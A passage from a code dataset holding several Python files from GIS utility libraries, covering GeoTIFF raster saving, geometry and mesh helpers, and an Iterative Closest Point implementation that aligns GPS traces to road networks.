image_to_collection_generator(\n image: np.ndarray, transform: affine.Affine, is_shape=False, **kwargs\n) -> Dict:\n \"\"\"\n\n :param is_shape:\n :param transform:\n :param image:\n :return:\n \"\"\"\n for i, (s, v) in enumerate(\n shapes(\n image.astype(rasterio.uint8),\n mask=None,\n connectivity=8,\n transform=transform,\n )\n ):\n yield {\n \"geometry\": shape(s) if is_shape else s,\n \"properties\": {\"id\": v, **kwargs},\n }\n\n\ndef copy_geo_reference_to_image(\n copy_from: Union[BufferedDatasetWriter, DatasetWriter],\n copy_to: np.ndarray,\n save_to: str,\n):\n \"\"\"\n\n :param copy_from:\n :param copy_to:\n :param save_to:\n :return:\n \"\"\"\n bands = copy_to.ndim if copy_to.ndim > 2 else 1\n geo_referenced_image = rasterio.open(\n save_to,\n mode=\"w\",\n driver=copy_from.driver,\n width=copy_from.width,\n height=copy_from.height,\n crs=copy_from.crs,\n transform=copy_from.transform,\n dtype=copy_to.dtype,\n count=bands,\n )\n if bands > 2:\n for band in range(copy_to.shape[2]):\n geo_referenced_image.write(copy_to[:, :, band], band + 1)\n else:\n geo_referenced_image.write(copy_to, 1)\n\n copy_from.close()\n geo_referenced_image.close()\n\n\ndef save_multi_band(image: np.ndarray, geo_transform: affine.Affine, gdal_unit, epsg: int, output_file_name: str):\n \"\"\"\n\n :param image: image must be of the format h X w X bands\n :param geo_transform:\n :param gdal_unit:\n :param epsg:\n :param output_file_name:\n :return:\n \"\"\"\n assert image.ndim == 3, f\"Expected to have 3 dim got {image.ndim}\"\n\n x, y, z = image.shape\n dst_ds = gdal.GetDriverByName('GTiff').Create(output_file_name, y, x, z, gdal_unit)\n\n dst_ds.SetGeoTransform(geo_transform)\n srs = osr.SpatialReference()\n srs.ImportFromEPSG(epsg)\n dst_ds.SetProjection(srs.ExportToWkt())\n\n for idx in range(0, z):\n dst_ds.GetRasterBand(idx + 1).WriteArray(image[:, :, idx])\n\n dst_ds.FlushCache()\n", "id": "9788581", "language": "Python", "matching_score": 4.248259544372559, "max_stars_count": 0, "path": "py_gis_utility/ops/image_ops.py" }, { "content": "import affine\nimport cv2\nimport gdal\nimport numpy as np\nfrom typing import Dict, Union\n\nfrom geopandas import GeoDataFrame\nfrom rasterio.io import BufferedDatasetWriter, DatasetWriter\n\nfrom py_gis_utility.helper import (\n read_image_with_geo_transform,\n extract_geometry_from_data_frame_row,\n read_data_frame,\n create_mesh,\n)\nfrom py_gis_utility.ops.image_ops import (\n image_to_collection_generator,\n copy_geo_reference_to_image,\n create_bitmap, save_multi_band,\n)\n\n\ndef image_obj_to_coordinates_generator(\n image: Union[BufferedDatasetWriter, DatasetWriter], **kwargs\n) -> Dict:\n \"\"\"\n\n :param image:\n :param kwargs:\n :return:\n \"\"\"\n return image_to_collection_generator(\n image.read(), image.transform, is_shape=False, crs=image.crs, **kwargs\n )\n\n\ndef image_path_to_coordinates_generator(image_path: str, **kwargs) -> Dict:\n \"\"\"\n\n :param image_path:\n :return:\n \"\"\"\n return image_obj_to_coordinates_generator(\n read_image_with_geo_transform(image_path), **kwargs\n )\n\n\ndef image_obj_to_shape_generator(\n image: Union[BufferedDatasetWriter, DatasetWriter], **kwargs\n) -> Dict:\n \"\"\"\n\n :param image:\n :return:\n \"\"\"\n return image_to_collection_generator(\n image.read(), image.transform, is_shape=True, crs=image.crs, **kwargs\n )\n\n\ndef image_path_to_shape_generator(image_path: str, **kwargs) -> Dict:\n \"\"\"\n\n :param image_path:\n :return:\n \"\"\"\n return image_obj_to_shape_generator(\n read_image_with_geo_transform(image_path), **kwargs\n )\n\n\ndef copy_geo_reference(copy_from_path: str, copy_to_path: str, save_to: str):\n \"\"\"\n\n :param save_to:\n :param copy_from_path:\n :param copy_to_path:\n :return:\n \"\"\"\n copy_geo_reference_to_image(\n read_image_with_geo_transform(copy_from_path),\n cv2.cvtColor(cv2.imread(copy_to_path), cv2.COLOR_BGR2RGB),\n save_to,\n )\n\n\ndef shape_geometry_to_bitmap_from_data_frame_generator(\n data_frame: GeoDataFrame,\n output_image_size: tuple,\n pixel_resolution: tuple,\n allow_output_to_overlap: bool = True,\n):\n \"\"\"\n\n :param data_frame:\n :param output_image_size:\n :param pixel_resolution:\n :param allow_output_to_overlap:\n :return:\n \"\"\"\n bitmap_generator = create_bitmap(\n create_mesh(\n data_frame.total_bounds,\n output_image_size,\n pixel_resolution,\n is_overlap=allow_output_to_overlap,\n ),\n list(extract_geometry_from_data_frame_row(data_frame)),\n )\n\n return bitmap_generator\n\n\ndef shape_geometry_to_bitmap_from_shape_geometry_path_generator(\n shape_geometry_file_path: str,\n output_image_size: tuple,\n pixel_resolution: tuple,\n allow_output_to_overlap: bool = True,\n):\n \"\"\"\n\n :param shape_geometry_file_path:\n :param output_image_size:\n :param pixel_resolution:\n :param allow_output_to_overlap:\n :return:\n \"\"\"\n return shape_geometry_to_bitmap_from_data_frame_generator(\n read_data_frame(shape_geometry_file_path),\n output_image_size,\n pixel_resolution,\n allow_output_to_overlap,\n )\n\n\ndef save_8bit_multi_band(image: np.ndarray, geo_transform: affine.Affine, epsg: int, output_file_name: str):\n \"\"\"\n\n :param image: image must be of the format h X w X bands\n :param geo_transform:\n :param epsg:\n :param output_file_name:\n :return:\n \"\"\"\n save_multi_band(image, geo_transform, gdal.GDT_Byte, epsg, output_file_name)\n\n\ndef save_16bit_multi_band(image: np.ndarray, geo_transform: affine.Affine, epsg: int, output_file_name: str):\n \"\"\"\n\n :param image: image must be of the format h X w X bands\n :param geo_transform:\n :param epsg:\n :param output_file_name:\n :return:\n \"\"\"\n save_multi_band(image, geo_transform, gdal.GDT_UInt16, epsg, output_file_name)", "id": "552488", "language": "Python", "matching_score": 2.244910478591919, "max_stars_count": 0, "path": "py_gis_utility/image_func.py" }, { "content": "from typing import Union\n\nimport affine\nimport geopandas\nimport numpy as np\nimport rasterio\nfrom geopandas import GeoDataFrame\nfrom rasterio.io import BufferedDatasetWriter, DatasetWriter\nfrom shapely.geometry import mapping\nfrom stitch_n_split.geo_info import get_affine_transform\nfrom stitch_n_split.split.mesh import (\n mesh_from_geo_transform,\n ImageNonOverLapMesh,\n ImageOverLapMesh,\n)\n\n\ndef concatenate_list_of_numpy_images(images_list: list) -> np.ndarray:\n \"\"\"\n\n :param images_list: images must be of the format h X w X bands\n :return:\n \"\"\"\n return np.concatenate(images_list, axis=-1)\n\n\ndef read_data_frame(path: str) -> GeoDataFrame:\n return geopandas.read_file(path)\n\n\ndef create_mesh(\n mesh_bounds: tuple,\n grid_size: tuple,\n pixel_resolution: tuple,\n is_overlap: bool = False,\n) -> Union[ImageNonOverLapMesh, ImageOverLapMesh]:\n \"\"\"\n\n :param mesh_bounds:\n :param grid_size:\n :param pixel_resolution:\n :param is_overlap: if set to true will find overlapping grid if any\n :return:\n \"\"\"\n assert len(mesh_bounds) == 4, (\n f\"Expected mesh_bounds to be in format (minx, miny, maxx, maxy) but got \"\n f\"{mesh_bounds} of size {len(mesh_bounds)}\"\n )\n\n assert len(grid_size) == 2, (\n f\"Expected grid_size to be in format (h x w) but got \"\n f\"{grid_size} of size {len(grid_size)}\"\n )\n\n assert (\n len(pixel_resolution) == 2\n ), f\"Expected pixel_resolution to have size 2 but got {len(grid_size)}\"\n\n mesh = mesh_from_geo_transform(\n grid_size=grid_size,\n transform=get_affine_transform(\n mesh_bounds[0], mesh_bounds[-1], *pixel_resolution\n ),\n mesh_bounds=mesh_bounds,\n overlap=is_overlap,\n )\n return mesh\n\n\ndef extract_geometry_from_data_frame_row(row: GeoDataFrame) -> list:\n if \"geometry\" not in list(row.keys()):\n raise KeyError(\"Missing Keys, Must have keys ['geometry']\")\n\n feature_geometry = list()\n\n for geometry in list(mapping(row[\"geometry\"])[\"features\"]):\n feature_geometry.append(geometry[\"geometry\"])\n\n return feature_geometry\n\n\ndef save_image_with_geo_transform(\n save_path: str, image: np.ndarray, transform: affine.Affine\n):\n \"\"\"\n\n :param save_path:\n :param image:\n :param transform:\n :return:\n \"\"\"\n\n bands = 1 if image.ndim == 2 else image.shape[-1]\n with rasterio.open(\n save_path,\n \"w\",\n driver=\"GTiff\",\n dtype=rasterio.uint8,\n count=bands,\n width=image.shape[0],\n height=image.shape[1],\n transform=transform,\n ) as dst:\n dst.write(image, indexes=1)\n\n\ndef read_image_with_geo_transform(\n path: str,\n) -> Union[BufferedDatasetWriter, DatasetWriter]:\n \"\"\"\n\n :param path:\n :return:\n \"\"\"\n return rasterio.open(path)\n\n\ndef convert_2d_input_to_3d_single_batch_format(input_array: np.ndarray) -> np.ndarray:\n input_array = input_array[np.newaxis, :, :]\n return input_array\n\n\ndef convert_1d_coordinates_to_2d_single_batch_format(\n input_coordinates: np.ndarray,\n) -> np.ndarray:\n input_coordinates = input_coordinates[np.newaxis, :]\n return input_coordinates\n\n\ndef minimum_in_matrix(input_matrix: np.ndarray, find_minimum_in_axis=1):\n \"\"\"\n\n :param input_matrix:\n :param find_minimum_in_axis:\n :return:\n \"\"\"\n assert (\n input_matrix.shape[-1] == 2 and input_matrix.ndim == 2\n ), f\"Expected input_coordinates to have shape '[number of points, 2]'got {input_matrix.shape}\"\n\n assert find_minimum_in_axis in [\n 1,\n 2,\n ], f\"Expected shortest_distance_axis to be in '[1, 2]' got {find_minimum_in_axis}\"\n minimum = np.argmin(input_matrix, axis=find_minimum_in_axis)\n\n return minimum, input_matrix[minimum]\n\n\ndef extract_index(\n from_input: np.ndarray, value: np.ndarray, along_axis: int = 0\n) -> np.ndarray:\n \"\"\"\n\n :param along_axis:\n :param from_input:\n :param value:\n :return:\n \"\"\"\n\n assert (\n type(from_input) is np.ndarray and type(value) is np.ndarray\n ), f\"Expected to have input type 'np.ndarray' got {type(from_input), type(value)}\"\n assert from_input.ndim == 3 and (from_input.shape[-2], from_input.shape[-1]) == (\n 2,\n 2,\n ), f\"Expected from_input coordinates to be either '[n_from_input, 2, 2]' got {from_input.ndim, from_input.shape}\"\n\n assert (\n 0 <= along_axis <= from_input.ndim\n ), f\"Expected along_axis to be in range ['0' and '%s'] got {from_input.ndim, along_axis}\"\n\n if value.ndim == 2 and from_input.ndim == 3:\n value = value[np.newaxis, :, :]\n\n assert (\n from_input.ndim == value.ndim\n ), f\"Expected to have same number of dimensions got {from_input.ndim, value.ndim}\"\n\n return np.unique(np.where(from_input == value)[along_axis])\n\n\ndef get_dimension(input_array: np.ndarray) -> int:\n return input_array.ndim\n\n\ndef get_coordinate_structure(input_array: np.ndarray) -> tuple:\n return input_array.shape[-2], input_array.shape[-1]\n\n\ndef is_input_3d(input_array: np.ndarray) -> bool:\n return True if get_dimension(input_array) == 3 else False\n\n\ndef is_input_2d(input_array: np.ndarray) -> bool:\n return True if get_dimension(input_array) == 2 else False\n\n\ndef is_line_segment(input_array: np.ndarray) -> bool:\n return True if (get_coordinate_structure(input_array) == (2, 2)) else False\n\n\ndef is_value(input_array: np.ndarray) -> bool:\n return True if (get_coordinate_structure(input_array) == (1, 1)) else False\n\n\ndef is_point(input_array: np.ndarray) -> bool:\n return True if (get_coordinate_structure(input_array) == (1, 2)) else False\n\n\ndef is_line_segment_3d(line_segments: np.ndarray) -> bool:\n return (\n True\n if (is_input_3d(line_segments) and is_line_segment(line_segments))\n else False\n )\n\n\ndef is_value_3d(values: np.ndarray) -> bool:\n return True if (is_input_3d(values) and is_value(values)) else False\n\n\ndef is_point_3d(points: np.ndarray) -> bool:\n return True if (is_input_3d(points) and is_point(points)) else False\n\n\ndef is_line_segment_2d(line_segments: np.ndarray) -> bool:\n return (\n True\n if (is_input_2d(line_segments) and is_line_segment(line_segments))\n else False\n )\n\n\ndef is_value_2d(values: np.ndarray) -> bool:\n return True if (is_input_2d(values) and is_value(values)) else False\n\n\ndef is_point_2d(points: np.ndarray) -> bool:\n return True if (is_input_2d(points) and is_point(points)) else False\n", "id": "4018354", "language": "Python", "matching_score": 2.543168783187866, "max_stars_count": 0, "path": "py_gis_utility/helper.py" }, { "content": "import inspect\nimport itertools\nfrom typing import Union, List, Tuple\n\nimport numpy as np\nfrom geopandas import GeoDataFrame\n\nfrom kaizen_mapping.map import refresh_print\nfrom kaizen_mapping.map.grid import PixelGrid, Grid\nfrom kaizen_mapping.map.matcher import Match\nfrom kaizen_mapping.map.road import road_network_from_data_frame, RoadNetwork\nfrom kaizen_mapping.map.trace import (\n traces_from_data_frame,\n Traces,\n)\nfrom kaizen_mapping.utils.gis import read_data_frame\nfrom kaizen_mapping.utils.numerical import compute_center_of_mass, decompose_matrix\n\n\nclass Association:\n \"\"\"\n Find association among source and target, i.e finding which point from target is the most likely point to which the\n source should transform in to.\n\n target can be thought of the ground truth, and source as input, and the task of association is to relate\n which point from source is a true match to the target, so when ict is performed on the association, minimum error\n is achieved.\n\n \"\"\"\n\n @staticmethod\n def nearest_neighbour(\n target: np.ndarray, source: np.ndarray, **kwargs\n ) -> Tuple[np.ndarray, np.ndarray]:\n _batch_size = kwargs[\"batch_size\"]\n d = np.linalg.norm(\n np.repeat(source, target.shape[2], axis=2)\n - np.tile(target, (1, source.shape[2])),\n axis=1,\n )\n indexes = np.argmin(\n d.reshape(_batch_size, source.shape[2], target.shape[2]), axis=2\n )\n\n return target[:, :, indexes][:, :, 0, :], source\n\n\nclass IterativeClosetPoint:\n \"\"\"\n The task ot ICT is to find a rotation and translation matrix, which, when applied on source gives minimum error\n in simple terms transform source to target by some rotation (R) and translation (T)\n\n Algorithm\n a) Potentially SubSample Points\n b) Determine Corresponding Points (ASSOCIATION)\n c) Weight or reject pairs (FILTERING)\n d) Compute rotation (R) and translation (T)\n e) Apply rotation (R) and translation (T) on source\n f) Compute error E(R, t)\n g) While error decreased and error > error_tolerance\n 1) Repeat from (b)\n \"\"\"\n\n def __init__(self):\n self._homogeneous_matrix = None\n\n self._batch_size = None\n self._dimension = None\n\n def _update_homogeneous_matrix(self, homogeneous_matrix: np.ndarray):\n \"\"\"\n :param homogeneous_matrix:\n :return:\n \"\"\"\n\n if self._homogeneous_matrix is None:\n self._homogeneous_matrix = homogeneous_matrix\n else:\n self._homogeneous_matrix = np.tensordot(\n self._homogeneous_matrix, homogeneous_matrix, axes=([-1], [1])\n )[:, :, 0, :]\n\n @staticmethod\n def _error(target: np.ndarray, source: np.ndarray) -> np.ndarray:\n \"\"\"\n\n :param target:\n :param source:\n :return:\n \"\"\"\n assert type(target) is np.ndarray and type(source) is np.ndarray, (\n \"Expected 'target' and 'source' to have type 'np.ndarray'\" \"got %s, %s\",\n (\n type(target),\n type(source),\n ),\n )\n return np.mean(np.linalg.norm((target - source), axis=1), axis=-1)\n\n @staticmethod\n def _rotation(u: np.ndarray, v: np.ndarray) -> np.ndarray:\n \"\"\"\n\n :param u:\n :param v:\n :return:\n \"\"\"\n assert type(u) is np.ndarray and type(v) is np.ndarray, (\n \"Expected 'u' and 'v' to have type 'np.ndarray'\" \"got %s, %s\",\n (\n type(u),\n type(v),\n ),\n )\n return (u @ v).transpose((0, 2, 1))\n\n @staticmethod\n def _translation(\n rotation: np.ndarray, source_mean: np.ndarray, target_mean: np.ndarray\n ) -> np.ndarray:\n \"\"\"\n\n :param rotation:\n :param source_mean:\n :param target_mean:\n :return:\n \"\"\"\n\n return (\n target_mean - np.tensordot(rotation, source_mean, axes=([-1], [1]))[:, :, 0]\n )\n\n def _apply_transformation(\n self, input_array: np.ndarray, homogeneous_matrix: np.ndarray\n ) -> np.ndarray:\n \"\"\"\n\n :param homogeneous_matrix:\n :param input_array:\n :return:\n \"\"\"\n assert (\n type(input_array) is np.ndarray and type(homogeneous_matrix) is np.ndarray\n ), (\n \"Expected 'input_array' and 'homogeneous_matrix' to have type 'np.ndarray'\"\n \"got %s, %s\",\n (\n type(input_array),\n type(homogeneous_matrix),\n ),\n )\n dup = np.ones((self._batch_size, self._dimension + 1, input_array.shape[-1]))\n dup[:, : self._dimension, :] = input_array\n return np.tensordot(homogeneous_matrix, dup, axes=([-1], [1]))[\n :, : self._dimension, 0, :\n ]\n\n @staticmethod\n def _cross_covariance_matrix(target: np.ndarray, source: np.ndarray) -> np.ndarray:\n \"\"\"\n\n :param target:\n :param source:\n :return:\n \"\"\"\n assert type(target) is np.ndarray and type(source) is np.ndarray, (\n \"Expected 'target' and 'source' to have type 'np.ndarray'\" \"got %s, %s\",\n (\n type(target),\n type(source),\n ),\n )\n return np.tensordot(source, target.T, axes=([-1], [0]))[:, :, :, 0]\n\n def _generate_homogeneous_matrix(\n self, rotation: np.ndarray, translation: np.ndarray\n ) -> np.ndarray:\n \"\"\"\n\n :param rotation:\n :param translation:\n :return:\n \"\"\"\n assert type(rotation) is np.ndarray and type(translation) is np.ndarray, (\n \"Expected 'rotation' and 'translation' to have type 'np.ndarray'\"\n \"got %s, %s\",\n (\n type(rotation),\n type(translation),\n ),\n )\n iteration_homogeneous_matrix = np.identity(self._dimension + 1)[\n np.newaxis, :, :\n ].repeat(self._batch_size, axis=0)\n\n iteration_homogeneous_matrix[:, : self._dimension, : self._dimension] = rotation\n iteration_homogeneous_matrix[\n :, : self._dimension, self._dimension\n ] = translation\n\n return iteration_homogeneous_matrix\n\n @staticmethod\n def _shift(input_points: np.ndarray, input_mean: np.ndarray) -> np.ndarray:\n \"\"\"\n\n :param input_points:\n :param input_mean:\n :return:\n \"\"\"\n assert type(input_points) is np.ndarray and type(input_mean) is np.ndarray, (\n \"Expected 'input_points' and 'input_mean' to have type 'np.ndarray'\"\n \"got %s, %s\",\n (\n type(input_points),\n type(input_mean),\n ),\n )\n return input_points - input_mean[:, :, np.newaxis]\n\n def _compute_homogeneous_matrix(\n self, target: np.ndarray, source: np.ndarray\n ) -> np.ndarray:\n \"\"\"\n\n :param target:\n :param source:\n :return:\n \"\"\"\n\n assert type(target) is np.ndarray and type(source) is np.ndarray, (\n \"Expected 'target' and 'source' to have type 'np.ndarray'\" \"got %s, %s\",\n (\n type(target),\n type(source),\n ),\n )\n\n target_mean = compute_center_of_mass(target, axis=2)\n source_mean = compute_center_of_mass(source, axis=2)\n\n target_shift = self._shift(target, target_mean)\n source_shift = self._shift(source, source_mean)\n\n cross_covariance_matrix = self._cross_covariance_matrix(\n target_shift, source_shift\n )\n u, s, v = decompose_matrix(cross_covariance_matrix)\n\n rotation = self._rotation(u, v)\n translation = self._translation(rotation, source_mean, target_mean)\n\n iteration_homogeneous_matrix = self._generate_homogeneous_matrix(\n rotation, translation\n )\n\n return iteration_homogeneous_matrix\n\n def _ict(\n self,\n target: np.ndarray,\n source: np.ndarray,\n iteration: int,\n error_tolerance: float,\n association,\n ):\n \"\"\"\n target must be of shape [batch, dimension, number of points]\n source must be of shape [batch, dimension, number of points]\n\n :param association:\n :param target:\n :param source:\n :param iteration:\n :param error_tolerance:\n :return:\n \"\"\"\n assert type(target) == np.ndarray and type(source) == np.ndarray, (\n \"Expected 'target' and 'source' to have type 'np.ndarray'\" \"got %s and %s\",\n (\n type(target),\n type(source),\n ),\n )\n\n assert len(target.shape) == 3 and len(source.shape) == 3, (\n \"Expected 'target' and 'shape' to have shape '[batch, dimension, number_of_coordinates]'\"\n \"got %s and %s\",\n (\n target.shape,\n source.shape,\n ),\n )\n\n assert target.shape[0] == source.shape[0], (\n \"Expected 'target' and 'source' to have same shape number of batch\"\n \"got %s and %s\",\n (\n target.shape[0],\n source.shape[0],\n ),\n )\n\n assert target.shape[1] == source.shape[1], (\n \"Expected 'target' and 'source' to have same shape number of dimension\"\n \"got %s and %s\",\n (\n target.shape[1],\n source.shape[1],\n ),\n )\n\n previous_mean_batch_error = 0\n\n for i in range(iteration):\n current_mean_batch_error = np.mean(self._error(target, source))\n\n associated_target, associated_source = association(\n target, source, batch_size=self._batch_size\n )\n\n iteration_homogeneous_matrix = self._compute_homogeneous_matrix(\n associated_target, associated_source\n )\n\n source = self._apply_transformation(source, iteration_homogeneous_matrix)\n self._update_homogeneous_matrix(iteration_homogeneous_matrix)\n\n refresh_print(\n f\"Iteration {i},\"\n f\" Loss {current_mean_batch_error},\"\n f\" Running Tolerance {np.abs(previous_mean_batch_error - current_mean_batch_error)}\"\n )\n if (\n np.abs(previous_mean_batch_error - current_mean_batch_error)\n < error_tolerance\n ):\n # BREAK WHEN THE ERROR STOPS REDUCING\n break\n\n previous_mean_batch_error = current_mean_batch_error\n\n return source, self._homogeneous_matrix\n\n def ict_with_batch(\n self,\n target: np.ndarray,\n source: np.ndarray,\n iteration: int,\n error_tolerance: float,\n association: str,\n ) -> Tuple[np.ndarray, np.ndarray]:\n \"\"\"\n when ict is to be performed on multiple inputs at once\n\n this function is used when the input is of form\n source = [\n [(s_b1_x1, s_b1_y1), (s_b1_x2, s_b1_y2), (s_b1_x3, s_b1_y3), ......., (s_b1_xn, s_b1_yn)]\n [(s_b2_x1, s_b2_y1), (s_b2_x2, s_b2_y2), (s_b2_x3, s_b2_y3), ......., (s_b2_xn, s_b2_yn)]\n .....\n .....\n [(s_bm_x1, s_bm_y1), (s_bm_x2, s_bm_y2), (s_bm_x3, s_bm_y3), ......., (s_bm_xn, s_bm_yn)]\n ]\n\n target = [\n [(t_b1_x1, t_b1_y1), (t_b1_x2, t_b1_y2), (t_b1_x3, t_b1_y3), ......., (t_b1_xn, t_b1_yn)]\n [(t_b2_x1, t_b2_y1), (t_b2_x2, t_b2_y2), (t_b2_x3, t_b2_y3), ......., (t_b2_xn, t_b2_yn)]\n .....\n .....\n [(t_bm_x1, t_bm_y1), (t_bm_x2, t_bm_y2), (t_bm_x3, t_bm_y3), ......., (t_bm_xn, t_bm_yn)]\n ]\n\n _, _ = ict_with_batch(np.array(target)swapaxes(-1, 1),np.array(source)swapaxes(-1, 1))\n\n swap_axes is needed cause when list converted to array the shape is (m, n, dim) and the required shape is\n (m, dim, n)\n\n\n target must be of shape [batch, dimension, number of points]\n source must be of shape [batch, dimension, number of points]\n\n :param association:\n :param target:\n :param source:\n :param iteration:\n :param error_tolerance:\n :return:\n \"\"\"\n assert type(target) == np.ndarray and type(source) == np.ndarray, (\n \"Expected 'target' and 'source' to have type 'np.ndarray'\" \"got %s and %s\",\n (\n type(target),\n type(source),\n ),\n )\n\n assert len(target.shape) == 3 and len(source.shape) == 3, (\n \"Expected 'target' and 'shape' to have shape '[batch, dimension, number_of_coordinates]'\"\n \"got %s and %s\",\n (\n target.shape,\n source.shape,\n ),\n )\n\n assert target.shape[0] == source.shape[0], (\n \"Expected 'target' and 'source' to have same shape number of batch\"\n \"got %s and %s\",\n (\n target.shape[0],\n source.shape[0],\n ),\n )\n self._batch_size = target.shape[0]\n\n assert target.shape[1] == source.shape[1], (\n \"Expected 'target' and 'source' to have same shape number of dimension\"\n \"got %s and %s\",\n (\n target.shape[1],\n source.shape[1],\n ),\n )\n self._dimension = target.shape[1]\n\n assert hasattr(Association, association), (\n \"Expected association to be in %s\" \"got %s\",\n (\n inspect.getmembers(Association, predicate=inspect.isfunction),\n association,\n ),\n )\n\n transformed_source, homogeneous_matrix = self._ict(\n target,\n source,\n iteration,\n error_tolerance,\n getattr(Association, association),\n )\n return transformed_source, homogeneous_matrix\n\n def ict_without_batch(\n self,\n target: np.ndarray,\n source: np.ndarray,\n iteration: int,\n error_tolerance: float,\n association: str,\n ) -> Tuple[np.ndarray, np.ndarray]:\n \"\"\"\n this function is used when the input is of form\n source = [(s_x1, s_y1), (s_x2, s_y2), (s_x3, s_y3), ......., (s_xn, s_yn)]\n target = [(t_x1, t_y1), (t_x2, t_y2), (t_x3, t_y3), ......., (t_xn, t_yn)]\n\n _, _ = ict_without_batch(np.array(target)swapaxes(-1, 0),np.array(source)swapaxes(-1, 0))\n\n swap_axes is needed cause when list converted to array the shape is (n, dim) and the required shape is\n (dim, n)\n\n target must be of shape [dimension, number of points]\n source must be of shape [dimension, number of points]\n\n :param association:\n :param target:\n :param source:\n :param iteration:\n :param error_tolerance:\n :return:\n \"\"\"\n assert type(target) == np.ndarray and type(source) == np.ndarray, (\n \"Expected 'target' and 'source' to have type 'np.ndarray'\" \"got %s and %s\",\n (\n type(target),\n type(source),\n ),\n )\n\n assert len(target.shape) == 2 and len(source.shape) == 2, (\n \"Expected 'target' and 'shape' to have shape '[dimension, number_of_coordinates]'\"\n \"got %s and %s\",\n (\n target.shape,\n source.shape,\n ),\n )\n\n assert target.shape[0] == source.shape[0], (\n \"Expected 'target' and 'source' to have same shape number of dimension\"\n \"got %s and %s\",\n (\n target.shape[0],\n source.shape[0],\n ),\n )\n assert hasattr(Association, association), (\n \"Expected association to be in %s\" \"got %s\",\n (\n inspect.getmembers(Association, predicate=inspect.isfunction),\n association,\n ),\n )\n\n self._batch_size = 1\n self._dimension = target.shape[0]\n\n transformed_source, homogeneous_matrix = self._ict(\n target[np.newaxis, :, :],\n source[np.newaxis, :, :],\n iteration,\n error_tolerance,\n getattr(Association, association),\n )\n return transformed_source[0, :, :], homogeneous_matrix\n\n\nclass SpatialICT(IterativeClosetPoint):\n # TODO nearest neighbour is not a good association to minimize loss, look for a solution which is suitable for\n # spatial coordinate use case\n\n def __init__(self, grid: Union[PixelGrid, Grid]):\n super().__init__()\n self.pixel_grid = grid\n\n def transform_spatial(\n self, input_list: list, homogeneous_matrix: np.ndarray\n ) -> List:\n return self.pixel_grid.spatial_path_from_x_y(\n *zip(\n *self._apply_transformation(\n np.array(\n self.pixel_grid.pixel_path_from_x_y(*zip(*input_list))\n ).swapaxes(-1, 0)[np.newaxis, :, :],\n homogeneous_matrix,\n )[0, :, :].T\n )\n )\n\n @staticmethod\n def _map_matched_target_association(\n referenced_data: RoadNetwork,\n source_trace: Traces,\n observation_error: int = 30,\n ) -> Tuple[List, List]:\n \"\"\"\n This method finds the initial target association since the which source point belong to which target is unknown\n Initial Target association is found by map matching the source with reference (target), so accurate initial\n association is derived between source and target\n\n :param referenced_data:\n :param source_trace:\n :param observation_error:\n :return:\n \"\"\"\n\n assert isinstance(source_trace, Traces), (\n \"Expected 'source' to be of instance 'Traces'\" \"got %s\",\n (type(source_trace),),\n )\n\n assert isinstance(referenced_data, RoadNetwork), (\n \"Expected 'target' to be of instance 'RoadNetwork'\" \"got %s\",\n (type(referenced_data),),\n )\n\n assert type(observation_error) is int, (\n \"Expected 'observation_error' to be of type 'int'\" \"got %s\",\n (type(observation_error),),\n )\n\n matcher = Match(referenced_data, observation_error=observation_error)\n\n target = list()\n source = list()\n for trace_id, trace in source_trace.items():\n _, _, reference_poi = matcher.match_trace(trace_id, trace)\n\n if len(reference_poi) > 0:\n source_trace_coordinates = source_trace.trace_point_to_coordinates(\n trace\n )\n source.append(source_trace_coordinates)\n\n target.append([(poi.x, poi.y) for poi in reference_poi])\n\n return target, source\n\n def ict_map_matched_target(\n self,\n source: Traces,\n target: RoadNetwork,\n iteration: int = 100,\n error_tolerance: float = 0.001,\n association: str = \"nearest_neighbour\",\n observation_error: int = 30,\n ) -> List:\n \"\"\"\n This method finds the initial target association since the which source point belong to which target is unknown\n Initial Target association is found by map matching the source with reference (target), so accurate initial\n association is derived between source and target\n\n :param association:\n :param error_tolerance:\n :param iteration:\n :param source:\n :param target:\n :param observation_error:\n :return:\n \"\"\"\n\n assert isinstance(source, Traces), (\n \"Expected 'source' to be of instance 'Traces'\" \"got %s\",\n (type(source),),\n )\n\n assert isinstance(target, RoadNetwork), (\n \"Expected 'target' to be of instance 'RoadNetwork'\" \"got %s\",\n (type(target),),\n )\n\n assert type(iteration) is int, (\n \"Expected 'iteration' to be of type 'int'\" \"got %s\",\n (type(iteration),),\n )\n\n assert type(error_tolerance) is float, (\n \"Expected 'error_tolerance' to be of type 'float'\" \"got %s\",\n (type(error_tolerance),),\n )\n\n assert type(observation_error) is int, (\n \"Expected 'observation_error' to be of type 'int'\" \"got %s\",\n (type(observation_error),),\n )\n\n target_map_matched, source_map_matched = self._map_matched_target_association(\n target, source, observation_error=observation_error\n )\n\n _, homogeneous_matrix = self.ict_without_batch(\n np.array(\n self.pixel_grid.pixel_path_from_x_y(\n *zip(*list(itertools.chain(*target_map_matched)))\n )\n ).swapaxes(-1, 0),\n np.array(\n self.pixel_grid.pixel_path_from_x_y(\n *zip(*list(itertools.chain(*source_map_matched)))\n )\n ).swapaxes(-1, 0),\n iteration,\n error_tolerance,\n association,\n )\n\n source_transformed = list()\n\n if len(source_map_matched) > 1:\n for sub_elements in source_map_matched:\n source_transformed.append(\n self.transform_spatial(sub_elements, homogeneous_matrix)\n )\n else:\n source_transformed.append(\n self.transform_spatial(source_map_matched, homogeneous_matrix)\n )\n\n return source_transformed\n\n def ict_map_matched_target_form_data_frame(\n self,\n source: Union[str, GeoDataFrame],\n target: Union[str, GeoDataFrame],\n iteration: int = 100,\n error_tolerance: float = 0.001,\n association: str = \"nearest_neighbour\",\n observation_error: int = 30,\n ) -> List:\n \"\"\"\n This method finds the initial target association since the which source point belong to which target is unknown\n Initial Target association is found by map matching the source with reference (target), so accurate initial\n association is derived between source and target\n\n :param association:\n :param error_tolerance:\n :param iteration:\n :param source:\n :param target:\n :param observation_error:\n :return:\n \"\"\"\n\n assert type(iteration) is int, (\n \"Expected 'iteration' to be of type 'int'\" \"got %s\",\n (type(iteration),),\n )\n\n assert type(error_tolerance) is float, (\n \"Expected 'error_tolerance' to be of type 'float'\" \"got %s\",\n (type(error_tolerance),),\n )\n\n assert type(observation_error) is int, (\n \"Expected 'observation_error' to be of type 'int'\" \"got %s\",\n (type(observation_error),),\n )\n\n if isinstance(source, GeoDataFrame) and isinstance(target, GeoDataFrame):\n return self.ict_map_matched_target(\n traces_from_data_frame(source),\n road_network_from_data_frame(target),\n iteration,\n error_tolerance,\n association,\n observation_error,\n )\n elif isinstance(source, str) and isinstance(target, str):\n source = read_data_frame(source)\n target = read_data_frame(target)\n return self.ict_map_matched_target(\n traces_from_data_frame(source),\n road_network_from_data_frame(target),\n 